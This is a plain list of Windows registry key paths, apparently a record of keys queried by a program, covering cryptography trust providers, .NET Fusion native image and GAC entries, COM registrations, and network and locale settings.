HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Cleanup\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\Scripting\Default Namespace
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\CustomMarshalers,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualC,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\NIDependencies
